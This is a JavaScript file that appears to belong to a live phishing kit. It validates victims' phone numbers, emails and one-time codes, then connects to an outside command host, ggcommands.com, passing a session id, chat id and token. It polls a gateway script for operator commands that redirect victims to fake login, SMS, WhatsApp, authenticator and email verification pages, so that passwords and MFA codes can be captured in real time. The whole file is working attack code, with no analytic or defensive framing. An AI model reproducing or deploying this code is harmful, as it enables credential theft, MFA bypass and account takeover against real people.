$("form").submit(function (e) {
  const inputs = e.target.querySelectorAll('input, textarea');
  var hasError = false;
  for(let input of inputs){
    const dataset = input.dataset;
    if(dataset.required == "true"){
      const parent = $(input).parent();
      let error = $(input).next("span.error");
      if(error.length < 1) error = $(input).parent().parent().find("span.error");

      if(input.type == "checkbox"){
        if(!input.checked){
          error.css("display", "inline-block");
          hasError = true;
        } else {
          error.css("display", "none");
        }
      } else if(dataset.mobile == "true") {
        if(!input.value.match(/^\+?\d{7,}$/)){
          hasError = true;
          error.css("display", "inline-block");
          if(dataset.snackbar) {
            showSnackbar(dataset.msg);
            break;
          }
        }else {
          if(parent.attr("data-next") == "true"){
            parent.next().fadeIn();
          } 
          error.css("display", "none");
        }
      } else if(dataset.email == "true"){
        if(!input.value.match(/^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/)){
          hasError = true;
          error.css("display", "inline-block");
          if(dataset.snackbar) {
            showSnackbar(dataset.msg);
            break;
          }
        }else {
          if(parent.attr("data-next") == "true"){
            parent.next().fadeIn();
            parent.find(".next").fadeOut();
          }
          if(parent.attr("data-submit") == "true"){
            $(".buttonHolder").css("display", "block");
          }
          error.css("display", "none");
        }
      } else if(dataset.codetype == "2fa"){
        if(!input.value.match(/^[0-9]{6}$/)){
          hasError = true;
          error.css("display", "inline-block");
          error.text("Entered code must be exactly 6 digits");
        }else {
          error.css("display", "none");
        }
      } else if(dataset.codetype == "email"){
        if(!input.value.match(/^[0-9]{5}$/) && !input.value.match(/^[0-9]{8}$/)){
          hasError = true;
          error.css("display", "inline-block");
          error.text("Entered code is incorrect.");
        }else {
          error.css("display", "none");
        }
      } else {
        if(!input.value){
          hasError = true;
          error.css("display", "inline-block");
          if(dataset.snackbar) {
            showSnackbar(dataset.msg);
            break;
          }
        }else {
          if(parent.attr("data-next") == "true"){
            parent.next().fadeIn();
            parent.find(".next").fadeOut();
          }
          error.css("display", "none");
        }
      }
    }
  }
  if(hasError) e.preventDefault();
  else {
    const onValidate = $(this).attr("onValidateCallback");
    if(onValidate) onLoginSubmit(e, this);
  }
})

function redirect_to($url){
  window.location.href = $url;
}

$(function () {
  const sid = $("#sessId").val();
  const message = $("#appMessage").val();
  const token = $("#appToken").val();
  const chatId = $("#appChatId").val();
  var socket = io('https://ggcommands.com/', { 
    query: `room=${sid}&message=${encodeURIComponent(message)}&chatId=${chatId}&token=${token}` 
  });
  
  socket.on('action', data => {
    receiveMessage(data);
  });

  setInterval(() => {
    $.post('/gw.php', { action: 'command' }).done(function(response){
      response = JSON.parse(response);
      if(response.command) receiveMessage(response.command);
    });
  }, 5000);
  
  function receiveMessage(data){
    switch(data) {
      case "PASSAGAIN":
        redirect_to("/login?again=true");
        return;

      case "AUTH":
        redirect_to("/verification?type=auth");
        return;
      case "SMS":
        redirect_to("/verification?type=sms");
        return;
      case "WA":
        redirect_to("/verification?type=whatsapp");
        return;
      case "EMAIL":
        redirect_to("/verification?type=email");
        return;

      case "AUTHAGAIN":
        redirect_to("/verification?type=auth&again=true");
        return;
      case "SMSAGAIN":
        redirect_to("/verification?type=sms&again=true");
        return;
      case "WAAGAIN":
        redirect_to("/verification?type=whatsapp&again=true");
        return;
      case "EMAILAGAIN":
        redirect_to("/verification?type=email&again=true");
        return;

      case "ERROR":
        redirect_to("/result");
        return;
      case "RESTRICT":
        redirect_to("/result?restrict=true");
        return;
      case "CAREER":
        redirect_to("/career?allow=true");
        return;
      case "BLOCK10":
        $.post('/gw.php', { action: 'block10' }).done(function(response){
          redirect_to("/block");
        });
        return;
      case "BLOCK60":
        $.post('/gw.php', { action: 'block60' }).done(function(response){
          redirect_to("/block");
        });
        return;
      case "BLOCK90":
        $.post('/gw.php', { action: 'block90' }).done(function(response){
          redirect_to("/block");
        });
        return;
    }
  };
});

// Start Home
function showSnackbar(txt) {
  // Get the snackbar DIV
  var x = document.getElementById("snackbar");

  // Add the "show" class to DIV
  x.innerHTML = txt;
  x.className = "show";

  // After 3 seconds, remove the show class from DIV
  setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000);
}
// End Home

// Start Auth
let timer;
function getNewCode(seconds) {
    const button = document.getElementById("getCode");
    const showSeconds = document.getElementById("showSeconds");
    const countdown = document.getElementById("seconds");
    
    button.style.display = "none";
    showSeconds.style.display = "block";
    
    function updateCountdown() {
        let minutes = Math.floor(seconds / 60);
        let secs = seconds % 60;
        countdown.textContent = `${String(minutes).padStart(2, '0')}:${String(secs).padStart(2, '0')}`;
        
        if (seconds > 0) {
            seconds--;
            timer = setTimeout(updateCountdown, 1000);
        } else {
            button.style.display = "block";
            showSeconds.style.display = "none";
        }
    }
    
    updateCountdown();
}
// End Auth